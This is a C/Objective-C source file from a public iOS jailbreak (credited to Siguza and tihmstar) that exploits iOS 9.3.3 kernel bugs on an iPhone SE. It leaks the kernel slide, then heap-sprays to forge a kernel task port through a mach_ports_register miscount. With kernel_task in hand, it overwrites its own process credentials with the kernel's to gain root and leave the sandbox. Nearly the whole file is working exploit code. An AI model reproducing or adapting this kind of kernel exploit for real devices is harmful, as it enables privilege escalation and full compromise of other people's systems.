/*
 * exploit64.m - Get kernel_task, root and escape the sandbox
 *               Taken and modified from Phœnix Jailbreak
 *
 * Copyright (c) 2017 Siguza & tihmstar
 */

// Bugs by NSO Group / Lookout and Ian Beer.
// Thanks also to Max Bazaliy.

#include <stdio.h>              // fprintf, stderr
#include <stdlib.h>             // malloc, free
#include <sched.h>              // sched_yield
#include <unistd.h>             // getuid
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>

#include "arch.h"
#include "find.h"
#include "mach-o.h"
#include "nvpatch.h"

/*** XXX ***/
// Offsets for iPhone SE (N69AP) 9.3.3
#define TASK_ITK_REGISTERED_OFFSET  0x288
#define TASK_BSDINFO_OFFSET         0x308
#define BSDINFO_PID_OFFSET           0x10
#define BSDINFO_KAUTH_CRED_OFFSET   0x118
#define KAUTH_CRED_REF_COUNT         0x10
/*** XXX ***/

#define msgh_request_port   msgh_remote_port
#define msgh_reply_port     msgh_local_port
#if !defined(_WALIGN_)
#   define _WALIGN_(x) (((x) + 3) & ~3)
#endif

static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_ool_ports_descriptor_t init_port_set;
        NDR_record_t NDR;
        mach_msg_type_number_t init_port_setCnt;
    } Request;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()

    union {
        Request In;
        Reply Out;
    } Mess;
    Request *InP = &Mess.In;
    Reply *OutP = &Mess.Out;

    InP->msgh_body.msgh_descriptor_count = 1;
    InP->init_port_set.address = (void*)(init_port_set);
    InP->init_port_set.count = real_count;
    InP->init_port_set.disposition = 19;
    InP->init_port_set.deallocate =  FALSE;
    InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    InP->NDR = NDR_record;
    InP->init_port_setCnt = fake_count; // was real_count
    InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_request_port = task;
    InP->Head.msgh_reply_port = mig_get_reply_port();
    InP->Head.msgh_id = 3403;

    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = OutP->RetCode;
    }
    return ret;
}

static kern_return_t my_io_service_add_notification_ool
(
    mach_port_t master_port,
    io_name_t notification_type,
    io_buf_ptr_t matching,
    mach_msg_type_number_t matchingCnt,
    mach_port_t wake_port,
    io_async_ref64_t reference,
    mach_msg_type_number_t referenceCnt,
    mach_port_t *notification
)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_ool_descriptor_t matching;
        mach_msg_port_descriptor_t wake_port;
        NDR_record_t NDR;
        mach_msg_type_number_t notification_typeOffset;
        mach_msg_type_number_t notification_typeCnt;
        char notification_type[128];
        mach_msg_type_number_t matchingCnt;
        mach_msg_type_number_t referenceCnt;
        io_user_reference_t reference[8];
    } Request;
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_port_descriptor_t notification;
        NDR_record_t NDR;
        kern_return_t result;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()

    union {
        Request In;
        Reply Out;
    } Mess;
    Request *InP = &Mess.In;
    Reply *Out0P = &Mess.Out;

    InP->msgh_body.msgh_descriptor_count = 2;
    InP->matching.address = (void*)(matching);
    InP->matching.size = matchingCnt;
    InP->matching.deallocate =  FALSE;
    InP->matching.copy = MACH_MSG_PHYSICAL_COPY;
    InP->matching.type = MACH_MSG_OOL_DESCRIPTOR;
    InP->wake_port.name = wake_port;
    InP->wake_port.disposition = 20;
    InP->wake_port.type = MACH_MSG_PORT_DESCRIPTOR;
    InP->NDR = NDR_record;

    if(mig_strncpy_zerofill != NULL)
    {
        InP->notification_typeCnt = mig_strncpy_zerofill(InP->notification_type, notification_type, 128);
    }
    else
    {
        InP->notification_typeCnt = mig_strncpy(InP->notification_type, notification_type, 128);
    }

    unsigned int msgh_size_delta = _WALIGN_(InP->notification_typeCnt);
    unsigned int msgh_size = (mach_msg_size_t)(sizeof(Request) - 192) + msgh_size_delta;
    InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
    InP->matchingCnt = matchingCnt;

    if(referenceCnt > 8)
    {
        return MIG_ARRAY_TOO_LARGE;
    }
    memcpy((char *) InP->reference, (const char *) reference, 8 * referenceCnt);

    InP->referenceCnt = referenceCnt;
    msgh_size += (8 * referenceCnt);
    InP = &Mess.In;
    InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_request_port = master_port;
    InP->Head.msgh_reply_port = mig_get_reply_port();
    InP->Head.msgh_id = 2870;
    InP->Head.msgh_reserved = 0;

    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = Out0P->result;
    }
    *notification = Out0P->notification.name;
    return ret;
}

static kern_return_t my_io_service_open_extended
(
    mach_port_t service,
    task_t owningTask,
    uint32_t connect_type,
    NDR_record_t ndr,
    io_buf_ptr_t properties,
    mach_msg_type_number_t propertiesCnt,
    mach_port_t *connection
)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_port_descriptor_t owningTask;
        mach_msg_ool_descriptor_t properties;
        NDR_record_t NDR;
        uint32_t connect_type;
        NDR_record_t ndr;
        mach_msg_type_number_t propertiesCnt;
    } Request;
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_port_descriptor_t connection;
        NDR_record_t NDR;
        kern_return_t result;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()

    union {
        Request In;
        Reply Out;
    } Mess;
    Request *InP = &Mess.In;
    Reply *Out0P = &Mess.Out;

    InP->msgh_body.msgh_descriptor_count = 2;
    InP->owningTask.name = owningTask;
    InP->owningTask.disposition = 19;
    InP->owningTask.type = MACH_MSG_PORT_DESCRIPTOR;

    InP->properties.address = (void*)(properties);
    InP->properties.size = propertiesCnt;
    InP->properties.deallocate = FALSE;
    InP->properties.copy = MACH_MSG_PHYSICAL_COPY;
    InP->properties.type = MACH_MSG_OOL_DESCRIPTOR;

    InP->NDR = NDR_record;
    InP->connect_type = connect_type;
    InP->ndr = ndr;
    InP->propertiesCnt = propertiesCnt;
    InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_request_port = service;
    InP->Head.msgh_reply_port = mig_get_reply_port();
    InP->Head.msgh_id = 2862;
    InP->Head.msgh_reserved = 0;

    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = Out0P->result;
    }
    *connection = Out0P->connection.name;
    return ret;
}

enum
{
    kOSSerializeDictionary      = 0x01000000U,
    kOSSerializeArray           = 0x02000000U,
    kOSSerializeSet             = 0x03000000U,
    kOSSerializeNumber          = 0x04000000U,
    kOSSerializeSymbol          = 0x08000000U,
    kOSSerializeString          = 0x09000000U,
    kOSSerializeData            = 0x0a000000U,
    kOSSerializeBoolean         = 0x0b000000U,
    kOSSerializeObject          = 0x0c000000U,

    kOSSerializeTypeMask        = 0x7F000000U,
    kOSSerializeDataMask        = 0x00FFFFFFU,

    kOSSerializeEndCollection   = 0x80000000U,

    kOSSerializeMagic           = 0x000000d3U,
};

#define MIG_MAX 0x1000
#define PUSH(v) \
do \
{ \
    if(idx >= MIG_MAX / sizeof(uint32_t)) \
    { \
        return KERN_NO_SPACE; \
    } \
    dict[idx] = (v); \
    ++idx; \
} while(0)

static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
{
    size_t idx = 0;

    PUSH(kOSSerializeMagic);
    PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
    PUSH(kOSSerializeSymbol | 4);
    PUSH(0x0079656b); // "key"
    PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);

    for(size_t i = 0; i < num; ++i)
    {
        PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | (2 * sizeof(uintptr_t)));
        PUSH(((uint32_t*)&ptr)[0]);
        PUSH(((uint32_t*)&ptr)[1]);
        PUSH(((uint32_t*)&ptr)[0]);
        PUSH(((uint32_t*)&ptr)[1]);
    }

    *size = idx * sizeof(uint32_t);
    return KERN_SUCCESS;
}

#undef PUSH

static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
{
    static io_master_t master = MACH_PORT_NULL;
    if(master == MACH_PORT_NULL)
    {
        kern_return_t ret = host_get_io_master(mach_host_self(), &master);
        if(ret != KERN_SUCCESS)
        {
            return ret;
        }
    }

    return my_io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, port);
}

static kern_return_t send_ports(mach_port_t target, mach_port_t payload, mach_msg_size_t num)
{
    mach_port_t init_port_set[num];
    for(size_t i = 0; i < num; ++i)
    {
        init_port_set[i] = payload;
    }

#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_ool_ports_descriptor_t init_port_set[1];
    } Request;
#pragma pack()

    Request req;

    req.msgh_body.msgh_descriptor_count = 1;
    req.init_port_set[0].address = (void*)(init_port_set);
    req.init_port_set[0].count = num;
    req.init_port_set[0].disposition = 19;
    req.init_port_set[0].deallocate = FALSE;
    req.init_port_set[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

    req.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    req.Head.msgh_request_port = target;
    req.Head.msgh_reply_port = 0;
    req.Head.msgh_id = 1337;

    return mach_msg(&req.Head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(req), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
}

static kern_return_t receive_ports(mach_port_t port, mach_port_t **payload)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_ool_ports_descriptor_t init_port_set[1];
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()

    Reply rep;
    kern_return_t ret = mach_msg(&rep.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(rep), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS && payload)
    {
        *payload = rep.init_port_set[0].address;
    }
    return ret;
}

static void release_ports(mach_port_t *arr, size_t size)
{
    task_t self = mach_task_self();
    for(size_t i = 0; i < size; ++i)
    {
        if(arr[i] != MACH_PORT_NULL)
        {
            mach_port_destroy(self, arr[i]);
            arr[i] = MACH_PORT_NULL;
        }
    }
}

typedef struct {
    struct {
        uintptr_t data;
        uintptr_t pad;
        uintptr_t type;
    } lock; // mutex lock
    uint32_t ref_count;
    char pad[TASK_BSDINFO_OFFSET - sizeof(uint32_t) - 3 * sizeof(uintptr_t)];
    uintptr_t bsd_info;
} ktask_t;

typedef struct __attribute__((__packed__)) {
    uint32_t ip_bits;
    uint32_t ip_references;
    struct __attribute__((__packed__)) {
        uintptr_t data;
        uint32_t pad;
        uint32_t type;
    } ip_lock; // spinlock
    struct __attribute__((__packed__)) {
        struct __attribute__((__packed__)) {
            struct __attribute__((__packed__)) {
                uint32_t flags;
                uint32_t waitq_interlock;
                uint64_t waitq_set_id;
                uint64_t waitq_prepost_id;
                struct __attribute__((__packed__)) {
                    uintptr_t next;
                    uintptr_t prev;
                } waitq_queue;
            } waitq;
            uintptr_t messages;
            natural_t seqno;
            natural_t receiver_name;
            uint16_t msgcount;
            uint16_t qlimit;
        } port;
    } ip_messages;
    natural_t ip_flags;
    uintptr_t ip_receiver;
    uintptr_t ip_kobject;
    uintptr_t ip_nsrequest;
    uintptr_t ip_pdrequest;
    uintptr_t ip_requests;
    uintptr_t ip_premsg;
    uint64_t  ip_context;
    natural_t ip_mscount;
    natural_t ip_srights;
    natural_t ip_sorights;
} kport_t;

#define OUT_LABEL(label, code...) \
do \
{ \
     ret = (code); \
     if(ret != KERN_SUCCESS) \
     { \
         LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
         goto label; \
     } \
} while(0)

#define OUT(code...) OUT_LABEL(out, ##code)

static kern_return_t get_kernel_anchor(size_t *anchor)
{
    kern_return_t ret = KERN_FAILURE;
    task_t self = mach_task_self();
    io_service_t service = MACH_PORT_NULL;
    io_connect_t client = MACH_PORT_NULL;
    io_iterator_t it = MACH_PORT_NULL;
    io_object_t o = MACH_PORT_NULL;

    service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
    if(!MACH_PORT_VALID(service))
    {
        LOG("Invalid service");
        goto out;
    }

    const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
    OUT(my_io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &client));
    OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));

    bool found = false;
    while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
    {
        uintptr_t buf[16];
        uint32_t size = (uint32_t)sizeof(buf);
        ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
        if(ret == KERN_SUCCESS)
        {
            *anchor = buf[1];
            found = true;
        }
        IOObjectRelease(o);
        o = MACH_PORT_NULL;
    }

out:;
    if(it != MACH_PORT_NULL)
    {
        IOObjectRelease(it);
    }
    if(client != MACH_PORT_NULL)
    {
        IOObjectRelease(client);
    }
    if(service != MACH_PORT_NULL)
    {
        IOObjectRelease(service);
    }
    return ret;
}

#define NUM_FILL    100
#define NUM_SPRAY  1000

task_t get_kernel_task(vm_address_t *kbase)
{
    kern_return_t ret;
    mach_port_limits_t limits = { .mpl_qlimit = 1000 };
    mach_port_t cleanup_port = MACH_PORT_NULL,
                fake_port    = MACH_PORT_NULL,
                port         = MACH_PORT_NULL;
    uintptr_t kptr = 0,
              kernel_base = 0;
    task_t kernel_task = MACH_PORT_NULL,
           self = mach_task_self();
    size_t anchor     = 0,
           size_big   = 0,
           size_small = 0;
    segment_t __text =
    {
        .addr = 0,
        .len = 0,
        .buf = NULL,
    };
    bool need_cleanup = false;
    void *dict_big   = malloc(MIG_MAX),
         *dict_small = malloc(MIG_MAX);
    mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);
    if(!dict_big || !dict_small || !hdr)
    {
        LOG("Failed to allocate dicts");
        goto out;
    }

    OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &cleanup_port));
    OUT(mach_port_insert_right(self, cleanup_port, cleanup_port, MACH_MSG_TYPE_MAKE_SEND));
    OUT(mach_port_set_attributes(self, cleanup_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));

    OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &port));
    OUT(mach_port_insert_right(self, port, port, MACH_MSG_TYPE_MAKE_SEND));
    OUT(mach_port_set_attributes(self, port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));

    ktask_t ktask =
    {
        .ref_count = 100,
        .bsd_info = 0xffffff8069696969, // dummy
    };
    kport_t kport =
    {
        .ip_bits = 0x80000002, // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
        .ip_references = 100,
        .ip_lock =
        {
            .type = 0x11,
        },
        .ip_messages =
        {
            .port =
            {
                .receiver_name = 1,
                .msgcount = MACH_PORT_QLIMIT_KERNEL,
                .qlimit = MACH_PORT_QLIMIT_KERNEL,
            },
        },
        .ip_receiver = 0x12345678, // dummy
        .ip_srights = 99,
    };
#define KREAD(addr, buf, size) \
do \
{ \
    for(size_t i = 0; i < ((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \
    { \
        ktask.bsd_info = (addr + i * sizeof(uint32_t)) - BSDINFO_PID_OFFSET; \
        OUT(pid_for_task(fake_port, (int*)((uint32_t*)(buf) + i))); \
    } \
} while(0)

    LOG("Leaking kernel slide...");
    OUT(get_kernel_anchor(&anchor));
    LOG("anchor: 0x%lx", anchor);
    kptr = (uintptr_t)&kport;

    LOG("Preparing data...");
    OUT(prepare_ptr(dict_big, &size_big, kptr, 200));
    OUT(prepare_ptr(dict_small, &size_small, kptr, 32));
    kport.ip_kobject = (uintptr_t)&ktask;

again:;
    LOG("Filling holes...");
    sched_yield();
    mach_port_t fill[NUM_FILL];
    for(size_t i = 0; i < NUM_FILL; ++i)
    {
        OUT(spray(dict_big, size_big, &fill[i]));
    }

    LOG("Spraying data...");
    sched_yield();
    mach_port_t small[NUM_SPRAY];
    for(size_t i = 0; i < NUM_SPRAY; ++i)
    {
        OUT(send_ports(port, port, 2));
        OUT(spray(dict_small, size_small, &small[i]));
    }

    LOG("Punching holes...");
    sched_yield();
    for(size_t i = 0; i < NUM_SPRAY; ++i)
    {
        OUT(receive_ports(port, NULL));
    }

    mach_port_t arr[2] = { MACH_PORT_NULL, MACH_PORT_NULL };
    OUT(r3gister(self, arr, 2, 3));

    mach_port_t *arrz = NULL;
    mach_msg_type_number_t sz = 3;
    mach_ports_lookup(self, &arrz, &sz);
    LOG("ports %x %x %x\n", arrz[0], arrz[1], arrz[2]);

    fake_port = arrz[2];
    if(!MACH_PORT_VALID(fake_port))
    {
        LOG("Exploit failed, retrying...");
        // TODO: fix ports leak
        goto again;
    }

    LOG("Determining kernel base...");
    kernel_base = (anchor & 0xfffffffffff00000) + 0x4000;
    for(uint32_t val = 0; 1; kernel_base -= 0x100000)
    {
        KREAD(kernel_base, &val, sizeof(val));
        if(val == MH_MAGIC_64)
        {
            break;
        }
    }
    LOG("Kernel base: 0x%lx", kernel_base);

    KREAD(kernel_base, hdr, MAX_HEADER_SIZE);
    CMD_ITERATE(hdr, cmd)
    {
        switch(cmd->cmd)
        {
            case MACH_LC_SEGMENT:
                {
                    mach_seg_t *seg = (mach_seg_t*)cmd;
                    if(strcmp(seg->segname, "__TEXT") == 0)
                    {
                        __text.addr = seg->vmaddr;
                        __text.len = seg->vmsize;
                        __text.buf = malloc(seg->vmsize);
                        LOG("Found __TEXT segment at %lx", __text.addr);
                        KREAD(__text.addr, __text.buf, __text.len);
                        goto found;
                    }
                }
                break;
        }
    }
    if(__text.buf == NULL)
    {
        LOG("Failed to find __TEXT segment");
        goto out;
    }

    found:;
    uintptr_t kernel_task_sym      = find_kernel_task(&__text),
              ipc_space_kernel_sym = find_ipc_space_kernel(&__text);
    if(!kernel_task_sym || !ipc_space_kernel_sym)
    {
        LOG("Failed to find kernel symbols");
        goto out;
    }

    uintptr_t kernel_task_addr = 0;
    KREAD(kernel_task_sym, &kernel_task_addr, sizeof(kernel_task_addr));
    LOG("kernel_task address: 0x%lx", kernel_task_addr);

    uintptr_t ipc_space_kernel_addr = 0;
    KREAD(ipc_space_kernel_sym, &ipc_space_kernel_addr, sizeof(ipc_space_kernel_addr));
    LOG("ipc_space_kernel address: 0x%lx", ipc_space_kernel_addr);

    kport.ip_receiver = ipc_space_kernel_addr;
    kport.ip_kobject = kernel_task_addr;

    LOG("Getting real kernel_task...");
    OUT(task_get_special_port(fake_port, 1, &kernel_task));
    release_ports(&fake_port, 1); // need to release before return, port is allocated on the stack

    LOG("Getting root...");
    OUT(r3gister(kernel_task, &self, 1, 1));
    uintptr_t self_port_addr = 0;
    vm_size_t size = sizeof(self_port_addr);
    OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, size, (vm_address_t)&self_port_addr, &size));
    LOG("self port address: 0x%lx", self_port_addr);
    OUT(r3gister(kernel_task, NULL, 0, 0));

    uintptr_t self_task_addr = 0;
    size = sizeof(self_task_addr);
    OUT(vm_read_overwrite(kernel_task, self_port_addr + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), size, (vm_address_t)&self_task_addr, &size));
    LOG("self task address: 0x%lx", self_task_addr);

    uintptr_t self_proc_addr = 0;
    size = sizeof(self_proc_addr);
    OUT(vm_read_overwrite(kernel_task, self_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&self_proc_addr, &size));
    LOG("self proc address: 0x%lx", self_proc_addr);

    // We're borrowing the kernel's creds here
    uintptr_t kern_proc_addr = 0;
    size = sizeof(kern_proc_addr);
    OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&kern_proc_addr, &size));
    LOG("kern_proc address: 0x%lx", kern_proc_addr);

    uintptr_t kern_kauth_cred_addr = 0;
    size = sizeof(kern_kauth_cred_addr);
    OUT(vm_read_overwrite(kernel_task, kern_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, size, (vm_address_t)&kern_kauth_cred_addr, &size));
    LOG("kern kauth cred address: 0x%lx", kern_kauth_cred_addr);

    // Ref count
    unsigned long refs = 0;
    size = sizeof(refs);
    OUT(vm_read_overwrite(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, size, (vm_address_t)&refs, &size));
    ++refs;
    size = sizeof(refs);
    OUT(vm_write(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, (vm_offset_t)&refs, sizeof(refs)));

    // Yeehaa
    OUT(vm_write(kernel_task, self_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, (vm_offset_t)&kern_kauth_cred_addr, sizeof(kern_kauth_cred_addr)));

    setuid(0); // update host port, security token and whatnot
    LOG("uid: %u", getuid());

    LOG("Cleaning up...");
    OUT(r3gister(self, arr, 2, 2));
    if(need_cleanup)
    {
        while(1)
        {
            mach_port_t *dangling_port = NULL;
            ret = receive_ports(cleanup_port, &dangling_port);
            if(ret != KERN_SUCCESS)
            {
                break;
            }

            LOG("Unregistering port %x...", *dangling_port);
            OUT(r3gister(kernel_task, dangling_port, 1, 1));
            uintptr_t zero = 0;
            OUT(vm_write(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, (vm_offset_t)&zero, sizeof(zero)));
        }
    }

out:;
    if(MACH_PORT_VALID(fake_port) && __text.buf == NULL)
    {
        // If we got here but got an actual port and do not yet have a leaked __text segment, that means the pointer we read was the wrong one.
        // We want to try again, but we need to retain the wrong port because mach_ports_register releases it, which means if we do nothing
        // and our process dies, the ports cleanup would cause a kernel panic.
        // To prevent that, we send it to the cleanup port (thereby increasing the ref count) so that later when we have kernel memory access,
        // we can register the port on the kernel task and then zero out the pointer (without decreasing the ref count).
        ret = send_ports(cleanup_port, fake_port, 1);
        if(ret == KERN_SUCCESS)
        {
            fake_port = MACH_PORT_NULL;
            need_cleanup = true;
            LOG("Exploit failed, retrying...");
            // TODO: fix ports leak
            goto again;
        }
        printf("send_ports(): %s\n", mach_error_string(ret));
    }
    release_ports(small, NUM_SPRAY);
    release_ports(fill, NUM_FILL);
    if(dict_big)
    {
        free(dict_big);
    }
    if(dict_small)
    {
        free(dict_small);
    }
    if(hdr)
    {
        free(hdr);
    }
    if(__text.buf != NULL)
    {
        free(__text.buf);
    }
    *kbase = kernel_base;
    return kernel_task;
}
